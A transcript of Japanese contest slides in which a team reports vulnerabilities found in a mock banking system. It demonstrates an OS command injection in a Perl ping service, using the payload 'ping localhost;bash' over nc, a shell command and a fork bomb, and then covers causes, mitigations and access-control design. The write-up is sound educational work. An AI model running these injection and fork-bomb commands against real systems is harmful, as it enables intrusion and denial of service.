Upgrade to Pro — share decks privately, control downloads, hide ads and more …

MBSD Cybersecurity Challenges 2017 最終審査会 発表スライド

8ayac
December 13, 2017

MBSD Cybersecurity Challenges 2017 最終審査会 発表スライド

チームIPFactoryとして発表したもの

8ayac

December 13, 2017
Tweet

More Decks by 8ayac

Other Decks in Technology

Transcript

  1. MBSD Cybersecurity Challenges 2017 最終審査会 発表用スライド

  2. はじめに • クライアントのシステムの脆弱性診断を実施  脆弱性の危険性の説明  対策の提案 • 評価基準 

    共通脆弱性システム CVSSv3.0  共通脆弱性タイプ一覧 CWE
  3. 報告した脆弱性の件数

  4. • SQLインジェクション • SNMPデフォルトコミュニティ名の付与 • phpinfoが公開されている • Directory Indexが閲覧可能 •

    SSL/TLS証明書が自己署名証明書 • HTTP Strict Transport Securityヘッダが設定されていない • X-XSS-Protectionヘッダの不備によるブラウザ保護機能の無効化 • X-Content-Type-Optionsヘッダの不備によるブラウザ保護機能の 無効化 • ログイン画面でのSQLインジェクション • ログイン試行が何回でも可能 • Login時のアカウント情報漏えい • ユーザ登録時、基幹システムに渡す情報が空でもユーザ登録可 能 • 誰でも任意のWebAPIを利用することができる • ping が通る • activateが完了していないアカウントの銀行口座を任意の残高で activateすることができる • activate.phpにSQLインジェクション • activate.phpにtype confusion • tomcatに任意のファイルアップロード及び任意のコード実行の脆 弱性 • Apache TomcatにJSPソースコードを閲覧できる脆弱性 • Apache Tomcatにキャッシュポイズニングの脆弱性 • Apache Tomcatに情報漏えいの脆弱性 • Tomcatのデフォルトページが表示されている • Tomcatの認証で推測されやすいパスワードを使用している • Tomcatのshutdownポートがデフォルトのまま使用されている • HTTPレスポンスヘッダにtomcatのサーバ情報が表示される • branchlist.phpにSQLインジェクション • banklist.phpのAPIから銀行情報を閲覧できる • branchlist.phpのAPIから支店情報を閲覧できる • user.phpにSQLインジェクション[1] • user.phpにSQLインジェクション[2] • transfer.phpにSQLインジェクション[1] • transfer.phpにSQLインジェクション[2] • transfer.phpにtest用のパラメータが実装されたままになっている • JSONパラメータへの5000byteの文字列挿入による SystemError[1] • JSONパラメータへの5000byteの文字列挿入による SystemError[2] • transactionlist.phpにSQLインジェクション • verify.phpにSQLインジェクション[1] • verify.phpにSQLインジェクション[2] • verify.phpにtype confusion • 誰でもencrypt機能を利用できる • 誰でもdencrypt機能を利用できる • decrypt.phpでクロスサイトスクリプティング
  5. • hidden_server.phpにSQLインジェクション[1] • hidden_server.phpにSQLインジェクション[2] • hidden_server.phpにSQLインジェクション[3] • hidden_server.phpに銀行残高を任意の数値だけ増やすことがで きる •

    xinetdで動いているプログラムにOSコマンドインジェクションの脆 弱性 • getrealip.phpで認証回避が可能 • ワンタイムパスワードベースが予測可能 • MySQLサーバーコンポーネントに脆弱性[1] • MySQLサーバーコンポーネントに脆弱性[2] • MySQLサーバーコンポーネントに脆弱性[3] • MySQLサーバーコンポーネントに脆弱性[4] • MySQLサーバーコンポーネントに脆弱性[5] • MySQLサーバーコンポーネントに脆弱性[6] • MySQLサーバーコンポーネントに脆弱性[7] • MySQLサーバーコンポーネントに脆弱性[8] • MySQLサーバーコンポーネントに脆弱性[9] • MySQLサーバーコンポーネントに脆弱性[10] • MySQLサーバーコンポーネントに脆弱性[11] • MySQLサーバーコンポーネントに脆弱性[12] • MySQLサーバーコンポーネントに脆弱性[13] • MySQLサーバーコンポーネントに脆弱性[14] • MySQLサーバーコンポーネントに脆弱性[15] • glibcにヒープベースのバッファオーバーフローの脆弱性 • glibcにGLOB_TILDEを使用したglob.c • ApacheのUserDirモジュールが有効になっている • SSHで弱い暗号化アルゴリズムがサポートされている • TCPタイムスタンプが実装されている • Apacheのディレクトリリスティングが有効になっている • Tomcatサーブレット/JSPコンテナのデフォルトファイル • PHP5.6.31にインタプリタのクラッシュが発生する脆弱性 • PHP5.6.31にアプリケーションのクラッシュが発生する脆弱性 • PHP5.6.31にインタプリタを利用した情報の窃取を行われる脆弱 性 • phpのtimlib_meridian()に境界外読み取りの脆弱性 • PHP5.6.31にインタプリタのクラッシュを起こす脆弱性 • ホスト上で任意のコードを実行してシステム上の特権を得る可能 性 • カーネルにUse-After-Freeの脆弱性
  6. • hidden_server.phpにSQLインジェクション[1] • hidden_server.phpにSQLインジェクション[2] • hidden_server.phpにSQLインジェクション[3] • hidden_server.phpに銀行残高を任意の数値だけ増やすことがで きる •

    xinetdで動いているプログラムにOSコマンドインジェクションの脆 弱性 • getrealip.phpで認証回避が可能 • ワンタイムパスワードベースが予測可能 • MySQLサーバーコンポーネントに脆弱性[1] • MySQLサーバーコンポーネントに脆弱性[2] • MySQLサーバーコンポーネントに脆弱性[3] • MySQLサーバーコンポーネントに脆弱性[4] • MySQLサーバーコンポーネントに脆弱性[5] • MySQLサーバーコンポーネントに脆弱性[6] • MySQLサーバーコンポーネントに脆弱性[7] • MySQLサーバーコンポーネントに脆弱性[8] • MySQLサーバーコンポーネントに脆弱性[9] • MySQLサーバーコンポーネントに脆弱性[10] • MySQLサーバーコンポーネントに脆弱性[11] • MySQLサーバーコンポーネントに脆弱性[12] • MySQLサーバーコンポーネントに脆弱性[13] • MySQLサーバーコンポーネントに脆弱性[14] • MySQLサーバーコンポーネントに脆弱性[15] • glibcにヒープベースのバッファオーバーフローの脆弱性 • glibcにGLOB_TILDEを使用したglob.c • ApacheのUserDirモジュールが有効になっている • SSHで弱い暗号化アルゴリズムがサポートされている • TCPタイムスタンプが実装されている • Apacheのディレクトリリスティングが有効になっている • Tomcatサーブレット/JSPコンテナのデフォルトファイル • PHP5.6.31にインタプリタのクラッシュが発生する脆弱性 • PHP5.6.31にアプリケーションのクラッシュが発生する脆弱性 • PHP5.6.31にインタプリタを利用した情報の窃取を行われる脆弱 性 • phpのtimlib_meridian()に境界外読み取りの脆弱性 • PHP5.6.31にインタプリタのクラッシュを起こす脆弱性 • ホスト上で任意のコードを実行してシステム上の特権を得る可能 性 • カーネルにUse-After-Freeの脆弱性 以上 件
  7. 今回紹介する脆弱性 OSコマンドインジェクション

  8. 今回紹介する脆弱性 – CVSSv3基本値(危険度) /10.0 (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H) CWE-78

  9. OSコマンドインジェクションとは • 攻撃手法の一種  OSコマンドを利用した攻撃

  10. OSコマンドインジェクションとは WEBサイト 脆弱なWebアプリケーション 攻撃者 OSコマンド実行 OSコマンド実行 OS コマンド

  11. 想定されるリスク 攻撃者 操作 OSコマンド ファイル

  12. 想定されるリスク • 攻撃のための情報収集 バージョン 情報 設定ファイル

  13. 想定されるリスク • 攻撃のための情報収集 • 機密情報の漏えい 個人情報 パスワード

  14. 想定されるリスク • 攻撃のための情報収集 • 機密情報の漏えい • 管理者権限の奪取 root

  15. 想定されるリスク • 攻撃のための情報収集 • 機密情報の漏えい • 管理者権限の奪取 • 不正なプログラムの埋め込み

  16. 想定されるリスク • 攻撃のための情報収集 • 機密情報の漏えい • 管理者権限の奪取 • 不正なプログラムの埋め込み •

    システムやデータの破壊・改ざん
  17. 想定されるリスク • 攻撃のための情報収集 • 機密情報の漏えい • 管理者権限の奪取 • 不正なプログラムの埋め込み •

    システムやデータの破壊・改ざん • 他の攻撃のための踏み台 参考: MBSD セキュリティ診断項目解説 「OSコマンドインジェクション」 https://www.mbsd.jp/security_glossary/security_glossary_oscommand.html
  18. 脆弱性の実例 34567番ポート (xinetd) ①接続 help echo uptime iostat exit quit

    ping ②利用可能 ユーザ
  19. pingの仕様 • 使用方法: ping [ホスト] • 機能: 対象ホストとの疎通確認 疎通してる? 疎通してるよ

  20. pingの仕様 ping => sub { my $host = shift; system(“ping

    -c 4 -W 1 $host”); },
  21. ping localhost プログラム $host = “localhost” system(“ping –c 4 -W

    1 $host”) localhost ユーザ
  22. ping localhost プログラム system(“ping –c 4 -W 1 localhost”) ユーザ

  23. ping localhost プログラム OSコマンド実行 OSコマンド実行 ping –c 4 –W 1

    localhost ユーザ
  24. ping localhost PING localhost (127.0.0.1) 56(84) bytes of data. 64

    bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.031ms 64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.139ms 64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.043ms 64 bytes from localhost (127.0.0.1): icmp_seq=4 ttl=64 time=0.038ms --- localhost ping statistics --- 4packets transmited, 4 received, 0% packet loss, time 3002ms rtt min/avg/max/mdev = 0.031/0.062/0.139/0.045 ms $ nc 192.168.56.101 34567
  25. 実際の攻撃方法

  26. $ コマンド1;コマンド2 コマンド1を実行したあとにコマンド2を実行

  27. ping localhost;bash system(“ping -c 4 -W 1 $host”)

  28. ping localhost;bash system(“ping -c 4 -W 1 localhost;bash”)

  29. system(“ping -c 4 -W 1 localhost;bash”) $ ping -c 4

    -W 1 localhost $ ping -c 4 -W 1 localhost
  30. system(“ping -c 4 -W 1 localhost;bash”) $ bash $ bash

  31. ping localhost;bash PING localhost (127.0.0.1) 56(84) bytes of data. 64

    bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.026ms 64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.054ms 64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.057ms 64 bytes from localhost (127.0.0.1): icmp_seq=4 ttl=64 time=0.055ms --- localhost ping statistics --- 4packets transmited, 4 received, 0% packet loss, time 2999ms rtt min/avg/max/mdev = 0.026/0.048/0.057/0.012 ms $ nc 192.168.56.101 34567
  32. ping localhost;bash PING localhost (127.0.0.1) 56(84) bytes of data. 64

    bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.026ms 64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.054ms 64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.057ms 64 bytes from localhost (127.0.0.1): icmp_seq=4 ttl=64 time=0.055ms --- localhost ping statistics --- 4packets transmited, 4 received, 0% packet loss, time 2999ms rtt min/avg/max/mdev = 0.026/0.048/0.057/0.012 ms httpd -v $ nc 192.168.56.101 34567
  33. ping localhost;bash PING localhost (127.0.0.1) 56(84) bytes of data. 64

    bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.026ms 64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.054ms 64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.057ms 64 bytes from localhost (127.0.0.1): icmp_seq=4 ttl=64 time=0.055ms --- localhost ping statistics --- 4packets transmited, 4 received, 0% packet loss, time 2999ms rtt min/avg/max/mdev = 0.026/0.048/0.057/0.012 ms httpd -v Server version: Apache/2.4.6 (CentOS) Server built: Oct 11 2017 17:16:47 $ nc 192.168.56.101 34567
  34. PING localhost (127.0.0.1) 56(84) bytes of data. 64 bytes from

    localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.026ms 64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.054ms 64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.057ms 64 bytes from localhost (127.0.0.1): icmp_seq=4 ttl=64 time=0.055ms --- localhost ping statistics --- 4packets transmited, 4 received, 0% packet loss, time 2999ms rtt min/avg/max/mdev = 0.026/0.048/0.057/0.012 ms httpd -v Server version: Apache/2.4.6 (CentOS) Server built: Oct 11 2017 17:16:47 :(){ :| :&};: $ nc 192.168.56.101 34567
  35. PING localhost (127.0.0.1) 56(84) bytes of data. 64 bytes from

    localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.026ms 64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.054ms 64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.057ms 64 bytes from localhost (127.0.0.1): icmp_seq=4 ttl=64 time=0.055ms --- localhost ping statistics --- 4packets transmited, 4 received, 0% packet loss, time 2999ms rtt min/avg/max/mdev = 0.026/0.048/0.057/0.012 ms httpd -v Server version: Apache/2.4.6 (CentOS) Server built: Oct 11 2017 17:16:47 :(){ :| :&};: $ nc 192.168.56.101 34567
  36. PING localhost (127.0.0.1) 56(84) bytes of data. 64 bytes from

    localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.026ms 64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.054ms 64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.057ms 64 bytes from localhost (127.0.0.1): icmp_seq=4 ttl=64 time=0.055ms --- localhost ping statistics --- 4packets transmited, 4 received, 0% packet loss, time 2999ms rtt min/avg/max/mdev = 0.026/0.048/0.057/0.012 ms httpd -v Server version: Apache/2.4.6 (CentOS) Server built: Oct 11 2017 17:16:47 :(){ :| :&};: $ nc 192.168.56.101 34567
  37. 原因

  38. 原因 1. シェルを呼び出す機能のある関数の利用 • system関数 • open関数

  39. 原因 1. シェルを呼び出す機能のある関数の利用 • system関数 • open関数 2. シェルを呼び出す機能のある関数にパラメータを利用

  40. 原因 1. シェルを呼び出す機能のある関数の利用 • system関数 • open関数 2. シェルを呼び出す機能のある関数にパラメータを利用 3.

    メタ文字のエスケープの未実施 “ $ @ & ‘ ( ) ^ | [ ] { } ; * ? < > ` ¥
  41. 対策

  42. 対策 1. OSコマンド呼び出しを使わない

  43. 対策 1. OSコマンド呼び出しを使わない 2. シェル呼び出し機能のある関数の利用を避ける  例) open関数 -> sysopen関数

  44. 対策 1. OSコマンド呼び出しを使わない 2. シェル呼び出し機能のある関数の利用を避ける  例) open関数 -> sysopen関数

    3. 外部からの入力をOSコマンドのパラメータに渡さない
  45. 対策 1. OSコマンド呼び出しを使わない 2. シェル呼び出し機能のある関数の利用を避ける  例) open関数 -> sysopen関数

    3. 外部からの入力をOSコマンドのパラメータに渡さない 4. OSコマンドに渡すパラメータのエスケープを実施  例) quotemeta関数 (perl言語) 参考: OSコマンドインジェクション 「OSコマンドインジェクションの脅威」 http://senmon.cfc.ac.jp/studentreport/report2/OS.html
  46. 以上

  47. 考察

  48. 考察 • 脆弱性が生まれた原因  アクセス制御の未実施  管理者用の機能 -> 誰でも利用可能 

    設計の問題
  49. アクセス制御について

  50. アクセス制御について 認証 (Authentication) 認可 (Authorization) 識別 (Identification) 説明責任 (Accountability)

  51. アクセス制御について 認証 (Authentication) 認可 (Authorization) 識別 (Identification) 誰? 本人? OK!

    1 2 3
  52. アクセス制御について 認証 (Authentication) 認可 (Authorization) 識別 (Identification) 1 2 3

    説明責任 (Accountability)  記録  コントロール  モニタリング 4
  53. アクセス制御の未実施 • 原因  設計時点の問題  要件定義が不十分

  54. 組織で定められている ルール・ポリシー 方針・管理目的

  55. 組織で定められている ルール・ポリシー 機能要件 方針・管理目的

  56. 組織で定められている ルール・ポリシー 機能要件 保証要件 方針・管理目的 セキュリティ対策が適切か

  57. F F 管理者だけが使う アクセス制御 • テストを行う • ログを取る ルール・ポリシー 機能要件

    保証要件 今回のプログラム
  58. F F アクセス制御の概念 • ID管理 • 認証の3要素 • 記録(ログなど) •

    テスト • 監査 ルール・ポリシー 機能要件 保証要件 アクセス制御
  59. 結論 • 設計における各要件定義が不十分  アクセス制御の未実装の原因  OSコマンドインジェクションの脆弱性の発生

  60. 脆弱性タイプ CWE識別子 件数 割合 SQLインジェクション CWE-89 14 18% 環境設定 CWE-16

    12 15% 情報漏洩 CWE-200 8 10% 設計上の問題 CWE-DesignError 6 8% 認可・権限・アクセス制御 CWE-264 5 6% 型の取り違え CWE-843 2 3% 証明書・パスワード管理 CWE-255 2 3% 不適切な入力確認 CWE-20 2 3% バッファエラー CWE-119 2 3% 解放済みメモリの使用 CWE-416 2 3% OSコマンドインジェクション CWE-78 1 1% クロスサイトスクリプティング CWE-79 1 1% 危険なタイプのファイルの無制限アップロード CWE-434 1 1% データの信頼性についての不十分な検証 CWE-345 1 1% 不適切なアクセス制御 CWE-284 1 1% XML 外部エンティティ参照の不適切な制限 CWE-611 1 1% 暗号の問題 CWE-310 1 1% 信頼性のないデータのデシリアライゼーション CWE-502 1 1% 例外的な状態における不適切なチェック CWE-754 1 1% 境界外読み取り CWE-125 1 1% パス・トラバーサル CWE-22 1 1% 情報不足 CWE-noinfo 13 16% 合計 79 100%
  61. 脆弱性タイプ CWE識別子 件数 割合 SQLインジェクション CWE-89 14 18% 環境設定 CWE-16

    12 15% 情報漏洩 CWE-200 8 10% 設計上の問題 CWE-DesignError 6 8% 認可・権限・アクセス制御 CWE-264 5 6% 型の取り違え CWE-843 2 3% 証明書・パスワード管理 CWE-255 2 3% 不適切な入力確認 CWE-20 2 3% バッファエラー CWE-119 2 3% 解放済みメモリの使用 CWE-416 2 3% OSコマンドインジェクション CWE-78 1 1% クロスサイトスクリプティング CWE-79 1 1% 危険なタイプのファイルの無制限アップロード CWE-434 1 1% データの信頼性についての不十分な検証 CWE-345 1 1% 不適切なアクセス制御 CWE-284 1 1% XML 外部エンティティ参照の不適切な制限 CWE-611 1 1% 暗号の問題 CWE-310 1 1% 信頼性のないデータのデシリアライゼーション CWE-502 1 1% 例外的な状態における不適切なチェック CWE-754 1 1% 境界外読み取り CWE-125 1 1% パス・トラバーサル CWE-22 1 1% 情報不足 CWE-noinfo 13 16% 合計 79 100%
  62. 脆弱性タイプ CWE識別子 件数 割合 SQLインジェクション CWE-89 14 18% 環境設定 CWE-16

    12 15% 情報漏洩 CWE-200 8 10% 設計上の問題 CWE-DesignError 6 8% 認可・権限・アクセス制御 CWE-264 5 6% 型の取り違え CWE-843 2 3% 証明書・パスワード管理 CWE-255 2 3% 不適切な入力確認 CWE-20 2 3% バッファエラー CWE-119 2 3% 解放済みメモリの使用 CWE-416 2 3% OSコマンドインジェクション CWE-78 1 1% クロスサイトスクリプティング CWE-79 1 1% 危険なタイプのファイルの無制限アップロード CWE-434 1 1% データの信頼性についての不十分な検証 CWE-345 1 1% 不適切なアクセス制御 CWE-284 1 1% XML 外部エンティティ参照の不適切な制限 CWE-611 1 1% 暗号の問題 CWE-310 1 1% 信頼性のないデータのデシリアライゼーション CWE-502 1 1% 例外的な状態における不適切なチェック CWE-754 1 1% 境界外読み取り CWE-125 1 1% パス・トラバーサル CWE-22 1 1% 情報不足 CWE-noinfo 13 16% 合計 79 100%
  63. 総評 安全なシステムは 安全な設計から

  64. 参考資料 – 1 • 情報処理推進機構 IPA 「共通脆弱性評価システムCVSS v3概説」 https://www.ipa.go.jp/security/vuln/CVSSv3.html •

    情報処理推進機構 IPA 「共通脆弱性タイプ一覧CWE概説」 https://www.ipa.go.jp/security/vuln/CWE.html • OSコマンドインジェクション 「OSコマンドインジェクションの脅威」 http://senmon.cfc.ac.jp/studentreport/report2/OS.html • MBSD セキュリティ診断項目解説 「OSコマンドインジェクション」 https://www.mbsd.jp/security_glossary/security_glossary_oscommand.html • JVN iPedia 脆弱性対策情報データベース 「CWE-78 OSコマンドインジェクション」 http://jvndb.jvn.jp/ja/cwe/CWE-78.html • 情報処理推進機構 IPA 「情報セキュリティ評価のためのコモンクライテリア」 https://www.ipa.go.jp/security/jisec/cc/documents/CCPART3V3.1R4-J1.0.pdf
  65. 参考資料 - 2 • (ISC)2 「CISSP CBK8ドメイン概要」 https://japan.isc2.org/cissp_gaiyou.html • 情報処理推進機構

    IPA 「セキュリティ機能と保証レベル」 https://www.ipa.go.jp/security/jisec/forusers/abouteal.html
  66. ご清聴ありがとうございました。